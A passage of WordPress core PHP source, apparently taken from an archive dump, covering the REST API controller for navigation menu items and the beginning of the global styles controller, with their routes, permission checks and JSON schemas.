'Cannot create existing post.' ), array( 'status' => 400 ) ); } $prepared_nav_item = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_nav_item ) ) { return $prepared_nav_item; } $prepared_nav_item = (array) $prepared_nav_item; $nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false ); if ( is_wp_error( $nav_menu_item_id ) ) { if ( 'db_insert_error' === $nav_menu_item_id->get_error_code() ) { $nav_menu_item_id->add_data( array( 'status' => 500 ) ); } else { $nav_menu_item_id->add_data( array( 'status' => 400 ) ); } return $nav_menu_item_id; } $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); if ( is_wp_error( $nav_menu_item ) ) { $nav_menu_item->add_data( array( 'status' => 404 ) ); return $nav_menu_item; } /** * Fires after a single menu item is created or updated via the REST API. * * @since 5.9.0 * * @param object $nav_menu_item Inserted or updated menu item object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a menu item, false when updating. */ do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); $fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single menu item is completely created or updated via the REST API. * * @since 5.9.0 * * @param object $nav_menu_item Inserted or updated menu item object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a menu item, false when updating. */ do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, true ); $post = get_post( $nav_menu_item_id ); wp_after_insert_post( $post, false, null ); $response = $this->prepare_item_for_response( $post, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $nav_menu_item_id ) ) ); return $response; } /** * Updates a single nav menu item. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $valid_check = $this->get_nav_menu_item( $request['id'] ); if ( is_wp_error( $valid_check ) ) { return $valid_check; } $post_before = get_post( $request['id'] ); $prepared_nav_item = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_nav_item ) ) { return $prepared_nav_item; } $prepared_nav_item = (array) $prepared_nav_item; $nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false ); if ( is_wp_error( $nav_menu_item_id ) ) { if ( 'db_update_error' === $nav_menu_item_id->get_error_code() ) { $nav_menu_item_id->add_data( array( 'status' => 500 ) ); } else { $nav_menu_item_id->add_data( array( 'status' => 400 ) ); } return $nav_menu_item_id; } $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); if ( is_wp_error( $nav_menu_item ) ) { $nav_menu_item->add_data( array( 'status' => 404 ) ); return $nav_menu_item; } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item->ID ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $post = get_post( $nav_menu_item_id ); $nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id ); $fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */ do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, false ); wp_after_insert_post( $post, true, $post_before ); $response = $this->prepare_item_for_response( get_post( $nav_menu_item_id ), $request ); return rest_ensure_response( $response ); } /** * Deletes a single nav menu item. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error True on success, or WP_Error object on failure. */ public function delete_item( $request ) { $menu_item = $this->get_nav_menu_item( $request['id'] ); if ( is_wp_error( $menu_item ) ) { return $menu_item; } // We don't support trashing for menu items. if ( ! $request['force'] ) { /* translators: %s: force=true */ return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menu items do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $previous = $this->prepare_item_for_response( get_post( $request['id'] ), $request ); $result = wp_delete_post( $request['id'], true ); if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); /** * Fires immediately after a single menu item is deleted via the REST API. * * @since 5.9.0 * * @param object $nav_menu_item Inserted or updated menu item object. * @param WP_REST_Response $response The response data. * @param WP_REST_Request $request Request object. */ do_action( 'rest_delete_nav_menu_item', $menu_item, $response, $request ); return $response; } /** * Prepares a single nav menu item for create or update. * * @since 5.9.0 * * @param WP_REST_Request $request Request object. * * @return object|WP_Error */ protected function prepare_item_for_database( $request ) { $menu_item_db_id = $request['id']; $menu_item_obj = $this->get_nav_menu_item( $menu_item_db_id ); // Need to persist the menu item data. See https://core.trac.wordpress.org/ticket/28138 if ( ! is_wp_error( $menu_item_obj ) ) { // Correct the menu position if this was the first item. See https://core.trac.wordpress.org/ticket/28140 $position = ( 0 === $menu_item_obj->menu_order ) ? 1 : $menu_item_obj->menu_order; $prepared_nav_item = array( 'menu-item-db-id' => $menu_item_db_id, 'menu-item-object-id' => $menu_item_obj->object_id, 'menu-item-object' => $menu_item_obj->object, 'menu-item-parent-id' => $menu_item_obj->menu_item_parent, 'menu-item-position' => $position, 'menu-item-type' => $menu_item_obj->type, 'menu-item-title' => $menu_item_obj->title, 'menu-item-url' => $menu_item_obj->url, 'menu-item-description' => $menu_item_obj->description, 'menu-item-attr-title' => $menu_item_obj->attr_title, 'menu-item-target' => $menu_item_obj->target, 'menu-item-classes' => $menu_item_obj->classes, // Stored in the database as a string. 'menu-item-xfn' => explode( ' ', $menu_item_obj->xfn ), 'menu-item-status' => $menu_item_obj->post_status, 'menu-id' => $this->get_menu_id( $menu_item_db_id ), ); } else { $prepared_nav_item = array( 'menu-id' => 0, 'menu-item-db-id' => 0, 'menu-item-object-id' => 0, 'menu-item-object' => '', 'menu-item-parent-id' => 0, 'menu-item-position' => 1, 'menu-item-type' => 'custom', 'menu-item-title' => '', 'menu-item-url' => '', 'menu-item-description' => '', 'menu-item-attr-title' => '', 'menu-item-target' => '', 'menu-item-classes' => array(), 'menu-item-xfn' => array(), 'menu-item-status' => 'publish', ); } $mapping = array( 'menu-item-db-id' => 'id', 'menu-item-object-id' => 'object_id', 'menu-item-object' => 'object', 'menu-item-parent-id' => 'parent', 'menu-item-position' => 'menu_order', 'menu-item-type' => 'type', 'menu-item-url' => 'url', 'menu-item-description' => 'description', 'menu-item-attr-title' => 'attr_title', 'menu-item-target' => 'target', 'menu-item-classes' => 'classes', 'menu-item-xfn' => 'xfn', 'menu-item-status' => 'status', ); $schema = $this->get_item_schema(); foreach ( $mapping as $original => $api_request ) { if ( isset( $request[ $api_request ] ) ) { $prepared_nav_item[ $original ] = $request[ $api_request ]; } } $taxonomy = get_taxonomy( 'nav_menu' ); $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; // If menus submitted, cast to int. if ( ! empty( $request[ $base ] ) ) { $prepared_nav_item['menu-id'] = absint( $request[ $base ] ); } // Nav menu title. if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $prepared_nav_item['menu-item-title'] = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $prepared_nav_item['menu-item-title'] = $request['title']['raw']; } } $error = new WP_Error(); // Check if object id exists before saving. if ( ! $prepared_nav_item['menu-item-object'] ) { // If taxonomy, check if term exists. if ( 'taxonomy' === $prepared_nav_item['menu-item-type'] ) { $original = get_term( absint( $prepared_nav_item['menu-item-object-id'] ) ); if ( empty( $original ) || is_wp_error( $original ) ) { $error->add( 'rest_term_invalid_id', __( 'Invalid term ID.' ), array( 'status' => 400 ) ); } else { $prepared_nav_item['menu-item-object'] = get_term_field( 'taxonomy', $original ); } // If post, check if post object exists. } elseif ( 'post_type' === $prepared_nav_item['menu-item-type'] ) { $original = get_post( absint( $prepared_nav_item['menu-item-object-id'] ) ); if ( empty( $original ) ) { $error->add( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400 ) ); } else { $prepared_nav_item['menu-item-object'] = get_post_type( $original ); } } } // If post type archive, check if post type exists. if ( 'post_type_archive' === $prepared_nav_item['menu-item-type'] ) { $post_type = $prepared_nav_item['menu-item-object'] ? $prepared_nav_item['menu-item-object'] : false; $original = get_post_type_object( $post_type ); if ( ! $original ) { $error->add( 'rest_post_invalid_type', __( 'Invalid post type.' ), array( 'status' => 400 ) ); } } // Check if menu item is type custom, then title and url are required. if ( 'custom' === $prepared_nav_item['menu-item-type'] ) { if ( '' === $prepared_nav_item['menu-item-title'] ) { $error->add( 'rest_title_required', __( 'The title is required when using a custom menu item type.' ), array( 'status' => 400 ) ); } if ( empty( $prepared_nav_item['menu-item-url'] ) ) { $error->add( 'rest_url_required', __( 'The url is required when using a custom menu item type.' ), array( 'status' => 400 ) ); } } if ( $error->has_errors() ) { return $error; } // The xfn and classes properties are arrays, but passed to wp_update_nav_menu_item as a string. foreach ( array( 'menu-item-xfn', 'menu-item-classes' ) as $key ) { $prepared_nav_item[ $key ] = implode( ' ', $prepared_nav_item[ $key ] ); } // Only draft / publish are valid post status for menu items. if ( 'publish' !== $prepared_nav_item['menu-item-status'] ) { $prepared_nav_item['menu-item-status'] = 'draft'; } $prepared_nav_item = (object) $prepared_nav_item; /** * Filters a menu item before it is inserted via the REST API. * * @since 5.9.0 * * @param object $prepared_nav_item An object representing a single menu item prepared * for inserting or updating the database. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_pre_insert_nav_menu_item', $prepared_nav_item, $request ); } /** * Prepares a single nav menu item output for response. * * @since 5.9.0 * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Base fields for every post. $fields = $this->get_fields_for_response( $request ); $menu_item = $this->get_nav_menu_item( $item->ID ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $menu_item->ID; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $menu_item->title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); add_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID ); $data['title']['rendered'] = $title; remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) ); remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) ); } if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = $menu_item->post_status; } if ( rest_is_field_included( 'url', $fields ) ) { $data['url'] = $menu_item->url; } if ( rest_is_field_included( 'attr_title', $fields ) ) { // Same as post_excerpt. $data['attr_title'] = $menu_item->attr_title; } if ( rest_is_field_included( 'description', $fields ) ) { // Same as post_content. $data['description'] = $menu_item->description; } if ( rest_is_field_included( 'type', $fields ) ) { $data['type'] = $menu_item->type; } if ( rest_is_field_included( 'type_label', $fields ) ) { $data['type_label'] = $menu_item->type_label; } if ( rest_is_field_included( 'object', $fields ) ) { $data['object'] = $menu_item->object; } if ( rest_is_field_included( 'object_id', $fields ) ) { // It is stored as a string, but should be exposed as an integer. $data['object_id'] = absint( $menu_item->object_id ); } if ( rest_is_field_included( 'parent', $fields ) ) { // Same as post_parent, exposed as an integer. $data['parent'] = (int) $menu_item->menu_item_parent; } if ( rest_is_field_included( 'menu_order', $fields ) ) { // Same as post_parent, exposed as an integer. $data['menu_order'] = (int) $menu_item->menu_order; } if ( rest_is_field_included( 'target', $fields ) ) { $data['target'] = $menu_item->target; } if ( rest_is_field_included( 'classes', $fields ) ) { $data['classes'] = (array) $menu_item->classes; } if ( rest_is_field_included( 'xfn', $fields ) ) { $data['xfn'] = array_map( 'sanitize_html_class', explode( ' ', $menu_item->xfn ) ); } if ( rest_is_field_included( 'invalid', $fields ) ) { $data['invalid'] = (bool) $menu_item->_invalid; } if ( rest_is_field_included( 'meta', $fields ) ) { $data['meta'] = $this->meta->get_value( $menu_item->ID, $request ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; if ( rest_is_field_included( $base, $fields ) ) { $terms = get_the_terms( $item, $taxonomy->name ); if ( ! is_array( $terms ) ) { continue; } $term_ids = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array(); if ( 'nav_menu' === $taxonomy->name ) { $data[ $base ] = $term_ids ? array_shift( $term_ids ) : 0; } else { $data[ $base ] = $term_ids; } } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions( $item, $request ); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } } /** * Filters the menu item data for a REST API response. * * @since 5.9.0 * * @param WP_REST_Response $response The response object. * @param object $menu_item Menu item setup by {@see wp_setup_nav_menu_item()}. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_nav_menu_item', $response, $menu_item, $request ); } /** * Prepares links for the request. * * @since 5.9.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { $links = parent::prepare_links( $post ); $menu_item = $this->get_nav_menu_item( $post->ID ); if ( empty( $menu_item->object_id ) ) { return $links; } $path = ''; $type = ''; $key = $menu_item->type; if ( 'post_type' === $menu_item->type ) { $path = rest_get_route_for_post( $menu_item->object_id ); $type = get_post_type( $menu_item->object_id ); } elseif ( 'taxonomy' === $menu_item->type ) { $path = rest_get_route_for_term( $menu_item->object_id ); $type = get_term_field( 'taxonomy', $menu_item->object_id ); } if ( $path && $type ) { $links['https://api.w.org/menu-item-object'][] = array( 'href' => rest_url( $path ), $key => $type, 'embeddable' => true, ); } return $links; } /** * Retrieves Link Description Objects that should be added to the Schema for the nav menu items collection. * * @since 5.9.0 * * @return array */ protected function get_schema_links() { $links = parent::get_schema_links(); $href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" ); $links[] = array( 'rel' => 'https://api.w.org/menu-item-object', 'title' => __( 'Get linked object.' ), 'href' => $href, 'targetSchema' => array( 'type' => 'object', 'properties' => array( 'object' => array( 'type' => 'integer', ), ), ), ); return $links; } /** * Retrieves the nav menu item's schema, conforming to JSON Schema. * * @since 5.9.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', ); $schema['properties']['title'] = array( 'description' => __( 'The title for the object.' ), 'type' => array( 'string', 'object' ), 'context' => array( 'view', 'edit', 'embed' ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the object, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML title for the object, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); $schema['properties']['id'] = array( 'description' => __( 'Unique identifier for the object.' ), 'type' => 'integer', 'default' => 0, 'minimum' => 0, 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['type_label'] = array( 'description' => __( 'The singular label used to describe this type of menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['type'] = array( 'description' => __( 'The family of objects originally represented, such as "post_type" or "taxonomy".' ), 'type' => 'string', 'enum' => array( 'taxonomy', 'post_type', 'post_type_archive', 'custom' ), 'context' => array( 'view', 'edit', 'embed' ), 'default' => 'custom', ); $schema['properties']['status'] = array( 'description' => __( 'A named status for the object.' ), 'type' => 'string', 'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ), 'default' => 'publish', 'context' => array( 'view', 'edit', 'embed' ), ); $schema['properties']['parent'] = array( 'description' => __( 'The ID for the parent of the object.' ), 'type' => 'integer', 'minimum' => 0, 'default' => 0, 'context' => array( 'view', 'edit', 'embed' ), ); $schema['properties']['attr_title'] = array( 'description' => __( 'Text for the title attribute of the link element for this menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ); $schema['properties']['classes'] = array( 'description' => __( 'Class names for the link element of this menu item.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => static function ( $value ) { return array_map( 'sanitize_html_class', wp_parse_list( $value ) ); }, ), ); $schema['properties']['description'] = array( 'description' => __( 'The description of this menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ); $schema['properties']['menu_order'] = array( 'description' => __( 'The DB ID of the nav_menu_item that is this item\'s menu parent, if any, otherwise 0.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'integer', 'minimum' => 1, 'default' => 1, ); $schema['properties']['object'] = array( 'description' => __( 'The type of object originally represented, such as "category", "post", or "attachment".' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_key', ), ); $schema['properties']['object_id'] = array( 'description' => __( 'The database ID of the original object this menu item represents, for example the ID for posts or the term_id for categories.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'integer', 'minimum' => 0, 'default' => 0, ); $schema['properties']['target'] = array( 'description' => __( 'The target attribute of the link element for this menu item.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'enum' => array( '_blank', '', ), ); $schema['properties']['url'] = array( 'description' => __( 'The URL to which this menu item points.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'validate_callback' => static function ( $url ) { if ( '' === $url ) { return true; } if ( sanitize_url( $url ) ) { return true; } return new WP_Error( 'rest_invalid_url', __( 'Invalid URL.' ) ); }, ), ); $schema['properties']['xfn'] = array( 'description' => __( 'The XFN relationship expressed in the link of this menu item.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => static function ( $value ) { return array_map( 'sanitize_html_class', wp_parse_list( $value ) ); }, ), ); $schema['properties']['invalid'] = array( 'description' => __( 'Whether the menu item represents an object that no longer exists.' ), 'context' => array( 'view', 'edit', 'embed' ), 'type' => 'boolean', 'readonly' => true, ); $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $schema['properties'][ $base ] = array( /* translators: %s: taxonomy name */ 'description' => sprintf( __( 'The terms assigned to the object in the %s taxonomy.' ), $taxonomy->name ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'context' => array( 'view', 'edit' ), ); if ( 'nav_menu' === $taxonomy->name ) { $schema['properties'][ $base ]['type'] = 'integer'; unset( $schema['properties'][ $base ]['items'] ); } } $schema['properties']['meta'] = $this->meta->get_field_schema(); $schema_links = $this->get_schema_links(); if ( $schema_links ) { $schema['links'] = $schema_links; } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the nav menu items collection. * * @since 5.9.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['menu_order'] = array( 'description' => __( 'Limit result set to posts with a specific menu_order value.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'asc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by object attribute.' ), 'type' => 'string', 'default' => 'menu_order', 'enum' => array( 'author', 'date', 'id', 'include', 'modified', 'parent', 'relevance', 'slug', 'include_slugs', 'title', 'menu_order', ), ); // Change default to 100 items. $query_params['per_page']['default'] = 100; return $query_params; } /** * Determines the allowed query_vars for a get_items() response and prepares * them for WP_Query. * * @since 5.9.0 * * @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array. * @param WP_REST_Request $request Optional. Full details about the request. * @return array Items query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = parent::prepare_items_query( $prepared_args, $request ); // Map to proper WP_Query orderby param. if ( isset( $query_args['orderby'], $request['orderby'] ) ) { $orderby_mappings = array( 'id' => 'ID', 'include' => 'post__in', 'slug' => 'post_name', 'include_slugs' => 'post_name__in', 'menu_order' => 'menu_order', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $query_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } $query_args['update_menu_item_cache'] = true; return $query_args; } /** * Gets the id of the menu that the given menu item belongs to. * * @since 5.9.0 * * @param int $menu_item_id Menu item id. * @return int */ protected function get_menu_id( $menu_item_id ) { $menu_ids = wp_get_post_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) ); $menu_id = 0; if ( $menu_ids && ! is_wp_error( $menu_ids ) ) { $menu_id = array_shift( $menu_ids ); } return $menu_id; } } class-wp-rest-global-styles-controller.php000064400000056777152506367270014764 0ustar00 false ); /** * Constructor. * * @since 6.6.0 * * @param string $post_type Post type. */ public function __construct( $post_type = 'wp_global_styles' ) { parent::__construct( $post_type ); } /** * Registers the controllers routes. * * @since 5.9.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/themes/(?P[\/\s%\w\.\(\)\[\]\@_\-]+)/variations', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_theme_items' ), 'permission_callback' => array( $this, 'get_theme_items_permissions_check' ), 'args' => array( 'stylesheet' => array( 'description' => __( 'The theme identifier' ), 'type' => 'string', ), ), 'allow_batch' => $this->allow_batch, ), ) ); // List themes global styles. register_rest_route( $this->namespace, // The route. sprintf( '/%s/themes/(?P%s)', $this->rest_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?' ), array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_theme_item' ), 'permission_callback' => array( $this, 'get_theme_item_permissions_check' ), 'args' => array( 'stylesheet' => array( 'description' => __( 'The theme identifier' ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ), ), ), 'allow_batch' => $this->allow_batch, ), ) ); // Lists/updates a single global style variation based on the given id. register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\/\d+]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'ID of global styles config.' ), 'type' => 'integer', ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), 'allow_batch' => $this->allow_batch, ) ); } /** * Sanitize the global styles stylesheet to decode endpoint. * For example, `wp/v2/global-styles/twentytwentytwo%200.4.0` * would be decoded to `twentytwentytwo 0.4.0`. * * @since 5.9.0 * * @param string $stylesheet Global styles stylesheet. * @return string Sanitized global styles stylesheet. */ public function _sanitize_global_styles_callback( $stylesheet ) { return urldecode( $stylesheet ); } /** * Get the post, if the ID is valid. * * @since 5.9.0 * * @param int $id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_post( $id ) { $error = new WP_Error( 'rest_global_styles_not_found', __( 'No global styles config exists with that ID.' ), array( 'status' => 404 ) ); $id = (int) $id; if ( $id <= 0 ) { return $error; } $post = get_post( $id ); if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) { return $error; } return $post; } /** * Checks if a given request has access to read a single global style. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this global style.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! $this->check_read_permission( $post ) ) { return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view this global style.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a global style can be read. * * @since 5.9.0 * * @param WP_Post $post Post object. * @return bool Whether the post can be read. */ public function check_read_permission( $post ) { return current_user_can( 'read_post', $post->ID ); } /** * Checks if a given request has access to write a single global styles config. * * @since 5.9.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( $post && ! $this->check_update_permission( $post ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this global style.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares a single global styles config for update. * * @since 5.9.0 * @since 6.2.0 Added validation of styles.css property. * @since 6.6.0 Added registration of block style variations from theme.json sources (theme.json, user theme.json, partials). * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Prepared item on success. WP_Error on when the custom CSS is not valid. */ protected function prepare_item_for_database( $request ) { $changes = new stdClass(); $changes->ID = $request['id']; $post = get_post( $request['id'] ); $existing_config = array(); if ( $post ) { $existing_config = json_decode( $post->post_content, true ); $json_decoding_error = json_last_error(); if ( JSON_ERROR_NONE !== $json_decoding_error || ! isset( $existing_config['isGlobalStylesUserThemeJSON'] ) || ! $existing_config['isGlobalStylesUserThemeJSON'] ) { $existing_config = array(); } } if ( isset( $request['styles'] ) || isset( $request['settings'] ) ) { $config = array(); if ( isset( $request['styles'] ) ) { if ( isset( $request['styles']['css'] ) ) { $css_validation_result = $this->validate_custom_css( $request['styles']['css'] ); if ( is_wp_error( $css_validation_result ) ) { return $css_validation_result; } } $config['styles'] = $request['styles']; } elseif ( isset( $existing_config['styles'] ) ) { $config['styles'] = $existing_config['styles']; } // Register theme-defined variations e.g. from block style variation partials under `/styles`. $variations = WP_Theme_JSON_Resolver::get_style_variations( 'block' ); wp_register_block_style_variations_from_theme_json_partials( $variations ); if ( isset( $request['settings'] ) ) { $config['settings'] = $request['settings']; } elseif ( isset( $existing_config['settings'] ) ) { $config['settings'] = $existing_config['settings']; } $config['isGlobalStylesUserThemeJSON'] = true; $config['version'] = WP_Theme_JSON::LATEST_SCHEMA; /** * JSON encode the data stored in post content. * Escape characters that are likely to be mangled by HTML filters: "<>&". * * This data is later re-encoded by {@see wp_filter_global_styles_post()}. * The escaping is also applied here as a precaution. */ $changes->post_content = wp_json_encode( $config, JSON_UNESCAPED_SLASHES | JSON_HEX_TAG | JSON_HEX_AMP ); } // Post title. if ( isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $changes->post_title = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $changes->post_title = $request['title']['raw']; } } return $changes; } /** * Prepare a global styles config output for response. * * @since 5.9.0 * @since 6.6.0 Added custom relative theme file URIs to `_links`. * * @param WP_Post $post Global Styles post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $post, $request ) { $raw_config = json_decode( $post->post_content, true ); $is_global_styles_user_theme_json = isset( $raw_config['isGlobalStylesUserThemeJSON'] ) && true === $raw_config['isGlobalStylesUserThemeJSON']; $config = array(); $theme_json = null; if ( $is_global_styles_user_theme_json ) { $theme_json = new WP_Theme_JSON( $raw_config, 'custom' ); $config = $theme_json->get_raw_data(); } // Base fields for every post. $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $post->ID; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $post->post_title; } if ( 